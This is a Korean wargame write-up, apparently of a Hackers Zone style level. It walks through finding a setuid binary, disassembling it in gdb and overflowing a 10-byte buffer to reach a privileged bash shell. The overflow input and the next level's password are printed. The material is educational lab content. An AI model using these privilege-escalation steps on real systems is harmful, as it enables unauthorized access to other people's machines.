<!doctype html>
암호: apple
hint
다음은 /usr/bin/bof의 소스이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 )
{
printf("Good Skill!\n");
setreuid( 3010, 3010 );
system("/bin/bash");
}
}
이를 이용하여 level10의 권한을 얻어라.
코드 해석
xxxxxxxxxx
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
char buf2[10]; //크기 10인 buf2 변수를 생성
char buf[10]; //크기 10인 buf변수를 생성
printf("It can be overflow : "); //"It can be overflow : " 출력
fgets(buf,40,stdin); //표준 입력 스트림으로 40까지의 데이터를 buf에 입력
/*
fgets 함수?
fgets(char * buffer, int max,FILE * stream)
(지정할 변수,넣을 데이터의 최대 크기,입출력 방법)
*/
if ( strncmp(buf2, "go", 2) == 0 ) //buf2 데이터와 go가 2데이터만큼 같은지 확인후 같으면 if문 실행
/*
strncmp 함수?
strncmp(const char *string1, const char *string2, size_t count)
string1 및 string2를 count의 최대값에 비교
string1 < string2 => 0보다 작음
string1 = string2 => 0
string1 > string2 => 0보다 큼
*/
{
printf("Good Skill!\n"); //"Good Skill!" 출력
setreuid( 3010, 3010 ); //해당 UID(유효 사용자 ID)의 권한을 부여
system("/bin/bash"); // /bin/bash명령을 실행
}
}
소스를 분석해본 결과 분명 buf에는 10바이트의 값을 지정해줬는데 40의 데이터를 넣을수있게 해놨으며 또 비교 변수는 buf2인것을 볼수 있습니다.
정리해보자면 buf변수에 데이터를 많이넣어 그데이터들이 buf2까지 들어가게끔 하면됩니다
그것이 bof 핵심입니다!
의심스러운 실행파일 찾기
xxxxxxxxxx
$ find / -user level10 -perm -4000 2>/dev/null
-
level 10이 소유하며 사용권한이 4000이 포함된 파일들이고 표준에러안뜨는 파일 찾기
즉 쉽게말하면 setUID가 포함된 파일들을 찾는것이며
-> 결국 의심스러운 파일을 찾을때 쓰인다
검색결과
xxxxxxxxxx
/usr/bin/bof
실행결과
xxxxxxxxxx
It can be overflow:
그럼 이제 소스를 분석해봅시다
먼저 hint의 소스들을 따로 파일로 만들어줍니다
(주의! tmp 디렉토리에서 만들어야 저장 오류가 안남)
xxxxxxxxxx
vi test.c
xxxxxxxxxx
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 )
{
printf("Good Skill!\n");
setreuid( 3010, 3010 );
system("/bin/bash");
}
}
:wq! //esc 누른뒤 :wq! 로 저장
그뒤 gcc 명령어 사용으로 소스코드를 컴파일
->디버깅이 가능하려면 컴파일을 해줘야한다
xxxxxxxxxx
gcc -g -o test test.c
-
gcc?
$ gcc -g -o <실행파일 이름> <소스코드 이름>
이후 gdb를 사용해서 분석
xxxxxxxxxx
gdb test
-
gdb?
대표적으로 어셈블리어를 보고 분석할수 있게 해준다
intel언어로 바꿔 보기 편하게 설정
xxxxxxxxxx
(gdb) set disassembly-flavor intel
main 함수를 assembly어로 표현
xxxxxxxxxx
(gdb) disass main
xxxxxxxxxx
0x08048420 <main+0>: push ebp
0x08048421 <main+1>: mov ebp,esp
0x08048423 <main+3>: sub esp,0x28
0x08048426 <main+6>: and esp,0xfffffff0
0x08048429 <main+9>: mov eax,0x0
0x0804842e <main+14>: sub esp,eax
0x08048430 <main+16>: sub esp,0xc
0x08048433 <main+19>: push 0x8048554
0x08048438 <main+24>: call 0x8048350 <printf>
0x0804843d <main+29>: add esp,0x10
0x08048440 <main+32>: sub esp,0x4
0x08048443 <main+35>: push ds:0x8049698
0x08048449 <main+41>: push 0x28
0x0804844b <main+43>: lea eax,[ebp-40]
0x0804844e <main+46>: push eax
0x0804844f <main+47>: call 0x8048320 <fgets>
0x08048454 <main+52>: add esp,0x10
0x08048457 <main+55>: sub esp,0x4
0x0804845a <main+58>: push 0x2
0x0804845c <main+60>: push 0x804856a
0x08048461 <main+65>: lea eax,[ebp-24]
0x08048464 <main+68>: push eax
0x08048465 <main+69>: call 0x8048330 <strncmp>
0x0804846a <main+74>: add esp,0x10
0x0804846d <main+77>: test eax,eax
0x0804846f <main+79>: jne 0x80484a6 <main+134>
0x08048471 <main+81>: sub esp,0xc
0x08048474 <main+84>: push 0x804856d
0x08048479 <main+89>: call 0x8048350 <printf>
0x0804847e <main+94>: add esp,0x10
0x08048481 <main+97>: sub esp,0x8
0x08048484 <main+100>: push 0xbc2
0x08048489 <main+105>: push 0xbc2
0x0804848e <main+110>: call 0x8048360 <setreuid>
0x08048493 <main+115>: add esp,0x10
0x08048496 <main+118>: sub esp,0xc
0x08048499 <main+121>: push 0x804857a
0x0804849e <main+126>: call 0x8048310 <system>
0x080484a3 <main+131>: add esp,0x10
0x080484a6 <main+134>: leave
0x080484a7 <main+135>: ret
여기서 핵심적으로 볼곳은 buf와 buf2의 주소를 알수있는 부분이면된다
따라서 buf의 주소를 알수있는 fget 부분과
buf2의 주소를 알수있는 strncmp 부분을 살펴봅시다
-
push,lea,call?
-push: 오른쪽값을 스택에 쌓는다(주로 call 등장하기전에 사용된다)
-lea: 오른쪽값의 주소를 넣는다(mov는 주소의 값을 넣음)
-call:접근할 함수 주소로 이동하여 실행
xxxxxxxxxx
0x08048443 <main+35>: push ds:0x8049698
0x08048449 <main+41>: push 0x28
0x0804844b <main+43>: lea eax,[ebp-40]
0x0804844e <main+46>: push eax
0x0804844f <main+47>: call 0x8048320 <fgets>
fgets(buf,40,stdin);
소스코드와 어셈블리어를 비교해 보자면 소스의 오른쪽에서 왼쪽으로 해석이 되는것을 볼수있는데
먼저 <main+35> 는 stdin라는 표준입력방법을 push로 넣어주며
<main+41>은 0x28(십진수로 40)만큼의 공간을 넣어준다
<main+43>에서는 [ebp-40] 즉 buf의 주소를 넣어준다
따라서 buf 의 주소는 ebp-40
xxxxxxxxxx
0x0804845a <main+58>: push 0x2
0x0804845c <main+60>: push 0x804856a
0x08048461 <main+65>: lea eax,[ebp-24]
0x08048464 <main+68>: push eax
0x08048465 <main+69>: call 0x8048330 <strncmp>
if ( strncmp(buf2, "go", 2) == 0 )
<main+58>은 2값을 넣어주고
<main+60>에서는 0x804856a(go를 의미)를 넣어줍니다
마지막으로<main+65>에는 buf2의 주소인 [ebp-24]의 주소를 넣어주어
buf2의 주소는 ebp-24
따라서 buf와 buf2의 거리는 16바이트이며 따라서 buf에 16바이트를 넣어주고 뒤에 go를 입력하면 buf2에 go가 입력되어 쉘 권한을 얻게 되어 문제를 풀게된다
xxxxxxxxxx
$ /usr/bin/bof
It can be overflow : aaaaaaaaaaaaaaaago
Good Skill!
마지막으로 my-pass를 하면 level10으로가는 password를 얻게된다!
xxxxxxxxxx
$ my-pass
Level10 Password is "interesting to hack!".